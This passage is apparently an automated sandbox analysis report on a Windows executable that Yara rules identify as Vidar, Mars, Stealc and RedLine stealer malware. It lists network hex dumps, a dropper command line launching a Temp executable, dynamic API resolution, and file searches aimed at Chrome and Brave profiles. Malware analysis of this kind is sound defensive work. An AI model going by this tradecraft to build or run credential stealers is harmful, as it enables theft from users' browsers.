Apr 25, 2024 14:42:29.301330090 CEST	1289	IN	Data Raw: 3b f3 ff ff c7 45 88 00 00 00 00 c6 45 fc 1c 8b 4d 98 85 c9 74 15 8b 01 8b 40 08 ff d0 8b c8 85 c9 74 08 8b 01 6a 01 8b 00 ff d0 8b 4d 9c 85 c9 74 13 8b c6 f0 0f c1 41 20 75 0a 8b 4d 9c 33 d2 e8 fa f2 ff ff c7 45 9c 00 00 00 00 c6 45 fc 1d 8b 4d Data Ascii: ;EEMt@tjMtA uM3EEMt@tjMtA uM3EEMt@tjMtA uM3xEEMt@tjE
Apr 25, 2024 14:42:29.301342964 CEST	1289	IN	Data Raw: 0f 00 00 00 c7 41 10 00 00 00 00 50 c6 01 00 e8 62 05 00 00 e8 cd 32 05 00 83 c4 18 83 7c 24 1c 00 76 57 ff 15 cc c9 47 00 8b 44 24 1c 40 50 6a 02 ff 15 c0 c9 47 00 8b f0 85 f6 74 3d 83 7c 24 20 10 8d 54 24 0c 8b 4c 24 1c 0f 43 54 24 0c 41 51 52 Data Ascii: APb2\|$vWGD$@PjGt=\|$ T$L$CT$AQRVGPGVGVjGVGD$ r@L$Pt$D$ D$D$\|$8D$$D$4CD$$GhG6'@'@#(@(@)@)@
Apr 25, 2024 14:42:29.301357985 CEST	1289	IN	Data Raw: 10 89 7e 10 72 0e 8b 06 5f c6 00 00 8b c6 5e 5b 5d c2 08 00 8b c6 5f 5e 5b c6 00 00 5d c2 08 00 8b c6 85 ff 74 0b 57 53 50 e8 5f 71 05 00 83 c4 0c 83 7e 14 10 89 7e 10 72 0f 8b 06 c6 04 38 00 8b c6 5f 5e 5b 5d c2 08 00 8b c6 c6 04 38 00 5f 8b c6 Data Ascii: ~r_^[]_^[]tWSP_q~~r8_^[]8_^[]hvG>US]VMWC;}+;G;uG99FF~rQj_^[]Qj_^[]9~s$vW
Apr 25, 2024 14:42:29.301387072 CEST	1289	IN	Data Raw: 3b 46 10 76 04 85 c0 75 9b 8b 4e 10 3b c1 77 19 89 46 10 83 7e 14 10 72 08 8b 0e c6 04 01 00 eb 14 8b ce c6 04 01 00 eb 0c 2b c1 8b ce 6a 00 50 e8 ff fd ff ff 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 0c 00 cc cc cc cc cc cc cc Data Ascii: ;FvuN;wF~r+jPMdY_^[]UAPuuuu;y]3]UjhpFdPSVWlG3PEdeuEv'^;v<+
Apr 25, 2024 14:42:29.301429987 CEST	1289	IN	Data Raw: e8 99 30 05 00 83 c4 04 8d 4d e4 e8 d5 2e 05 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b 4d ec 33 cd e8 93 43 05 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b f1 0f 57 c0 8d 46 04 50 c7 06 ac c1 46 00 66 0f d6 00 Data Ascii: 0M.MdY_^[M3C]UVWFPFfEPQLF^]VNt$F+PQFFF^Vt#F+PQFF^UjhFdPPVWl
Apr 25, 2024 14:42:29.510437012 CEST	1289	IN	Data Raw: c7 00 00 00 00 00 6a 01 8b 01 ff 10 85 f6 75 e9 6a 00 6a 00 c7 47 24 00 00 00 00 e8 9c 6b 05 00 cc cc 56 8b f1 8b 4e 40 85 c9 74 24 8b 46 48 2b c1 c1 f8 03 50 51 e8 b7 03 00 00 c7 46 40 00 00 00 00 c7 46 44 00 00 00 00 c7 46 48 00 00 00 00 8b 4e Data Ascii: jujjG$kVN@t$FH+PQF@FDFHN4t$F<+PQF4F8F<N$t$F,+PQF$F(F,Nt$F+PQ6FFFNt$F+PQFF

Target ID:	0
Start time:	14:41:58
Start date:	25/04/2024
Path:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\w3WOJ1ohgD.exe"
Imagebase:	0x400000
File size:	281'600 bytes
MD5 hash:	678D5E7B91062C3B4C1EA39343CDA69A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000003.1663513978.00000000024C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000003.1663513978.00000000024C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2070467335.0000000000A3F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2070492271.0000000000A54000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:42:29
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:42:29
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:42:29
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe"
Imagebase:	0x70000
File size:	545'792 bytes
MD5 hash:	6C93FC68E2F01C20FB81AF24470B790C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 21%, ReversingLabs Detection: 38%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	14:42:30
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7428 -s 2268
Imagebase:	0x180000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 00416240 Relevance: 165.7, APIs: 110, Instructions: 674
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00A37148), ref: 0041625D
GetProcAddress.KERNEL32(74DD0000,00A37068), ref: 00416275
GetProcAddress.KERNEL32(74DD0000,00A57598), ref: 0041628E
GetProcAddress.KERNEL32(74DD0000,00A575E0), ref: 004162A6
GetProcAddress.KERNEL32(74DD0000,00A575F8), ref: 004162BE
GetProcAddress.KERNEL32(74DD0000,00A57640), ref: 004162D7
GetProcAddress.KERNEL32(74DD0000,00A3AFA8), ref: 004162EF
GetProcAddress.KERNEL32(74DD0000,00A57580), ref: 00416307
GetProcAddress.KERNEL32(74DD0000,00A575B0), ref: 00416320
GetProcAddress.KERNEL32(74DD0000,00A575C8), ref: 00416338
GetProcAddress.KERNEL32(74DD0000,00A573B8), ref: 00416350
GetProcAddress.KERNEL32(74DD0000,00A37248), ref: 00416369
GetProcAddress.KERNEL32(74DD0000,00A37288), ref: 00416381
GetProcAddress.KERNEL32(74DD0000,00A370A8), ref: 00416399
GetProcAddress.KERNEL32(74DD0000,00A372A8), ref: 004163B2
GetProcAddress.KERNEL32(74DD0000,00A57340), ref: 004163CA
GetProcAddress.KERNEL32(74DD0000,00A57280), ref: 004163E2
GetProcAddress.KERNEL32(74DD0000,00A3AC60), ref: 004163FB
GetProcAddress.KERNEL32(74DD0000,00A36EC8), ref: 00416413
GetProcAddress.KERNEL32(74DD0000,00A57418), ref: 0041642B
GetProcAddress.KERNEL32(74DD0000,00A574A8), ref: 00416444
GetProcAddress.KERNEL32(74DD0000,00A57358), ref: 0041645C
GetProcAddress.KERNEL32(74DD0000,00A57538), ref: 00416474
GetProcAddress.KERNEL32(74DD0000,00A36F08), ref: 0041648D
GetProcAddress.KERNEL32(74DD0000,00A57550), ref: 004164A5
GetProcAddress.KERNEL32(74DD0000,00A57370), ref: 004164BD
GetProcAddress.KERNEL32(74DD0000,00A57430), ref: 004164D6
GetProcAddress.KERNEL32(74DD0000,00A572E0), ref: 004164EE
GetProcAddress.KERNEL32(74DD0000,00A57448), ref: 00416506
GetProcAddress.KERNEL32(74DD0000,00A57298), ref: 0041651F
GetProcAddress.KERNEL32(74DD0000,00A572B0), ref: 00416537
GetProcAddress.KERNEL32(74DD0000,00A57328), ref: 0041654F
GetProcAddress.KERNEL32(74DD0000,00A57400), ref: 00416568
GetProcAddress.KERNEL32(74DD0000,00A39FF0), ref: 00416580
GetProcAddress.KERNEL32(74DD0000,00A574F0), ref: 00416598
GetProcAddress.KERNEL32(74DD0000,00A57508), ref: 004165B1
GetProcAddress.KERNEL32(74DD0000,00A37168), ref: 004165C9
GetProcAddress.KERNEL32(74DD0000,00A57388), ref: 004165E1
GetProcAddress.KERNEL32(74DD0000,00A37528), ref: 004165FA
GetProcAddress.KERNEL32(74DD0000,00A573A0), ref: 00416612
GetProcAddress.KERNEL32(74DD0000,00A573D0), ref: 0041662A
GetProcAddress.KERNEL32(74DD0000,00A374C8), ref: 00416643
GetProcAddress.KERNEL32(74DD0000,00A375C8), ref: 0041665B
LoadLibraryA.KERNEL32(00A573E8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041666D
LoadLibraryA.KERNEL32(00A57310,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041667E
LoadLibraryA.KERNEL32(00A57460,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 00416690
LoadLibraryA.KERNEL32(00A572C8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166A2
LoadLibraryA.KERNEL32(00A57568,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166B3
LoadLibraryA.KERNEL32(00A57478,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166C5
LoadLibraryA.KERNEL32(00A574C0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166D7
LoadLibraryA.KERNEL32(00A572F8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166E8
GetProcAddress.KERNEL32(75290000,00A37508), ref: 0041670A
GetProcAddress.KERNEL32(75290000,00A57490), ref: 00416722
GetProcAddress.KERNEL32(75290000,00A53BC8), ref: 0041673A
GetProcAddress.KERNEL32(75290000,00A57520), ref: 00416753
GetProcAddress.KERNEL32(75290000,00A37468), ref: 0041676B
GetProcAddress.KERNEL32(73B40000,00A3AD78), ref: 00416790
GetProcAddress.KERNEL32(73B40000,00A372E8), ref: 004167A9
GetProcAddress.KERNEL32(73B40000,00A3AC88), ref: 004167C1
GetProcAddress.KERNEL32(73B40000,00A574D8), ref: 004167D9
GetProcAddress.KERNEL32(73B40000,00A595B0), ref: 004167F2
GetProcAddress.KERNEL32(73B40000,00A375A8), ref: 0041680A
GetProcAddress.KERNEL32(73B40000,00A375E8), ref: 00416822
GetProcAddress.KERNEL32(73B40000,00A59520), ref: 0041683B
GetProcAddress.KERNEL32(752C0000,00A37608), ref: 0041685C
GetProcAddress.KERNEL32(752C0000,00A374E8), ref: 00416874
GetProcAddress.KERNEL32(752C0000,00A59550), ref: 0041688D
GetProcAddress.KERNEL32(752C0000,00A594A8), ref: 004168A5
GetProcAddress.KERNEL32(752C0000,00A373A8), ref: 004168BD
GetProcAddress.KERNEL32(74EC0000,00A3ACD8), ref: 004168E3
GetProcAddress.KERNEL32(74EC0000,00A3ADA0), ref: 004168FB
GetProcAddress.KERNEL32(74EC0000,00A59598), ref: 00416913
GetProcAddress.KERNEL32(74EC0000,00A37548), ref: 0041692C
GetProcAddress.KERNEL32(74EC0000,00A37428), ref: 00416944
GetProcAddress.KERNEL32(74EC0000,00A3AEE0), ref: 0041695C
GetProcAddress.KERNEL32(75BD0000,00A59538), ref: 00416982
GetProcAddress.KERNEL32(75BD0000,00A372C8), ref: 0041699A
GetProcAddress.KERNEL32(75BD0000,00A53A88), ref: 004169B2
GetProcAddress.KERNEL32(75BD0000,00A59568), ref: 004169CB
GetProcAddress.KERNEL32(75BD0000,00A595E0), ref: 004169E3
GetProcAddress.KERNEL32(75BD0000,00A37448), ref: 004169FB
GetProcAddress.KERNEL32(75BD0000,00A37628), ref: 00416A14
GetProcAddress.KERNEL32(75BD0000,00A59460), ref: 00416A2C
GetProcAddress.KERNEL32(75BD0000,00A595C8), ref: 00416A44
GetProcAddress.KERNEL32(75A70000,00A373C8), ref: 00416A66
GetProcAddress.KERNEL32(75A70000,00A59448), ref: 00416A7E
GetProcAddress.KERNEL32(75A70000,00A59430), ref: 00416A96
GetProcAddress.KERNEL32(75A70000,00A59478), ref: 00416AAF
GetProcAddress.KERNEL32(75A70000,00A59580), ref: 00416AC7
GetProcAddress.KERNEL32(75450000,00A37488), ref: 00416AE8
GetProcAddress.KERNEL32(75450000,00A37368), ref: 00416B01
GetProcAddress.KERNEL32(75DA0000,00A37648), ref: 00416B22
GetProcAddress.KERNEL32(75DA0000,00A594C0), ref: 00416B3A
GetProcAddress.KERNEL32(6F090000,00A37568), ref: 00416B60
GetProcAddress.KERNEL32(6F090000,00A37588), ref: 00416B78
GetProcAddress.KERNEL32(6F090000,00A37668), ref: 00416B90
GetProcAddress.KERNEL32(6F090000,00A594F0), ref: 00416BA9
GetProcAddress.KERNEL32(6F090000,00A374A8), ref: 00416BC1
GetProcAddress.KERNEL32(6F090000,00A373E8), ref: 00416BD9
GetProcAddress.KERNEL32(6F090000,00A37308), ref: 00416BF2
GetProcAddress.KERNEL32(6F090000,00A37328), ref: 00416C0A
GetProcAddress.KERNEL32(75AF0000,00A59508), ref: 00416C2B
GetProcAddress.KERNEL32(75AF0000,00A53BD8), ref: 00416C44
GetProcAddress.KERNEL32(75AF0000,00A59490), ref: 00416C5C
GetProcAddress.KERNEL32(75AF0000,00A594D8), ref: 00416C74
GetProcAddress.KERNEL32(75D90000,00A37348), ref: 00416C96
GetProcAddress.KERNEL32(6D000000,00A58ED8), ref: 00416CB7
GetProcAddress.KERNEL32(6D000000,00A37408), ref: 00416CCF
GetProcAddress.KERNEL32(6D000000,00A58FE0), ref: 00416CE8
GetProcAddress.KERNEL32(6D000000,00A59100), ref: 00416D00

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction ID: 6fdcbfc83a7e6ced85b92bf4002cf1d70b18d179e1e2f66c0d1faa926a602d30
Opcode Fuzzy Hash: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction Fuzzy Hash: 6E623EB5510E10AFC374DFA8FE88A1637ABBBCC311311A519A60AC72A4DF759483CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00411650 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 237
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411669
FindFirstFileA.KERNEL32(?,?), ref: 00411680
lstrcat.KERNEL32(?,?), ref: 004116D2
StrCmpCA.SHLWAPI(?,0041D7F8), ref: 004116E4
StrCmpCA.SHLWAPI(?,0041D7FC), ref: 004116FA
FindNextFileA.KERNELBASE(000000FF,?), ref: 00411980
FindClose.KERNEL32(000000FF), ref: 00411995

Strings

%s\%s\%s, xrefs: 004117DB
%s\%s, xrefs: 004117FD
%s%s, xrefs: 00411838
%s\*, xrefs: 0041165D
%s\%s, xrefs: 00411714

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 1a88a6fbcccdbf6d3108d3511c8ee1be97eec8989d39e8b8a27ddfbd76424c2a
Instruction ID: 56f1237c2d7c520c90c98f1ce5fb3a6d9b51b415e2d0c2f733ce4a2014328567
Opcode Fuzzy Hash: 1a88a6fbcccdbf6d3108d3511c8ee1be97eec8989d39e8b8a27ddfbd76424c2a
Instruction Fuzzy Hash: AE9172B19006189BDB24EFA4DC85FEA737DBF88300F044589F61A92191DB789AC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,0041D71A,0041D717,00000000,?,?,?,0041DB54,0041D716), ref: 0040B695
StrCmpCA.SHLWAPI(?,0041DB58), ref: 0040B6ED
StrCmpCA.SHLWAPI(?,0041DB5C), ref: 0040B703
FindNextFileA.KERNEL32(000000FF,?), ref: 0040BF3B
FindClose.KERNEL32(000000FF), ref: 0040BF4D

Strings

Preferences, xrefs: 0040B8BE
Google Chrome, xrefs: 0040BDB9
Brave, xrefs: 0040B8A2
\Brave\Preferences, xrefs: 0040B97B

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 017c0d1b35b7b48807b072c8b0ed90b70d881f466b35b1a069bc9cd1fe00b45c
Instruction ID: 76d401781d3fce7c968e745dc043d6a6225f477281f2400f678919b217ba5a4c
Opcode Fuzzy Hash: 017c0d1b35b7b48807b072c8b0ed90b70d881f466b35b1a069bc9cd1fe00b45c
Instruction Fuzzy Hash: 0F423572A0010457CF14FB61DC56EEE773DAF84304F41455EF90AA6181EE38AB89CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CD6F688,00001000), ref: 6CCE35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CCE35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CCE35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CCE363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CCE369F
__aulldiv.LIBCMT ref: 6CCE36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CCE3773
EnterCriticalSection.KERNEL32(6CD6F688), ref: 6CCE377E
LeaveCriticalSection.KERNEL32(6CD6F688), ref: 6CCE37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CCE37C4
EnterCriticalSection.KERNEL32(6CD6F688), ref: 6CCE37CB
LeaveCriticalSection.KERNEL32(6CD6F688), ref: 6CCE3801
__aulldiv.LIBCMT ref: 6CCE3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CCE3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CCE3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CCE394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6CCE35DB
GenuntelineI, xrefs: 6CCE3639
AuthcAMDenti, xrefs: 6CCE3946
QPC, xrefs: 6CCE38FC
GTC, xrefs: 6CCE3912

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 07d67e5689d0ca9f2aeadaf6f7ae428f3f6a6a2075e3294643ef9d0948ea3fce
Instruction ID: 25b2175a1f29110f502c55a01ad88fcacdf5c597d648c951932c74d68ca55836
Opcode Fuzzy Hash: 07d67e5689d0ca9f2aeadaf6f7ae428f3f6a6a2075e3294643ef9d0948ea3fce
Instruction Fuzzy Hash: 4DB1A871B097009BEB08DF6AC84472677FABB8E700F05492EE595D7760E770E804CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00412570 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00412589
FindFirstFileA.KERNEL32(?,?), ref: 004125A0
StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

%s\*, xrefs: 0041257D
%s\%s, xrefs: 0041264F
%s\%s, xrefs: 004125FE

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 4f87c69ccef75fed72315bac8d96cf935dfa6ebdd8d56ea22ee8c9f6e0716908
Instruction ID: 16fd5a9597efbfb91ed0225017393bb16e0f77851f83799e5682f8bc7922baf0
Opcode Fuzzy Hash: 4f87c69ccef75fed72315bac8d96cf935dfa6ebdd8d56ea22ee8c9f6e0716908
Instruction Fuzzy Hash: 676156B2900618ABCB24EBE0DD99EEA737DBF58701F00458DB61A96140EF74DB85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00411B80 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411B9D
FindFirstFileA.KERNEL32(?,?), ref: 00411BB4
StrCmpCA.SHLWAPI(?,0041D834), ref: 00411BE2
StrCmpCA.SHLWAPI(?,0041D838), ref: 00411BF8
FindNextFileA.KERNEL32(000000FF,?), ref: 00411D3D
FindClose.KERNEL32(000000FF), ref: 00411D52

Strings

%s\%s, xrefs: 00411B91

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e1ac8d4b6a5e427a6031b964c10a60aca7c746667eddcba51a312b5717742c56
Instruction ID: 1beca0db89a34a7d9f561fb59a57ff38f1a0216f2a844ef05cbde65d1a44dc5a
Opcode Fuzzy Hash: e1ac8d4b6a5e427a6031b964c10a60aca7c746667eddcba51a312b5717742c56
Instruction Fuzzy Hash: D75168B5900618ABCB24EBB0DC85EEA737DBB48304F40458DB65A96050EB79ABC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00404C70 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404C8A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C91
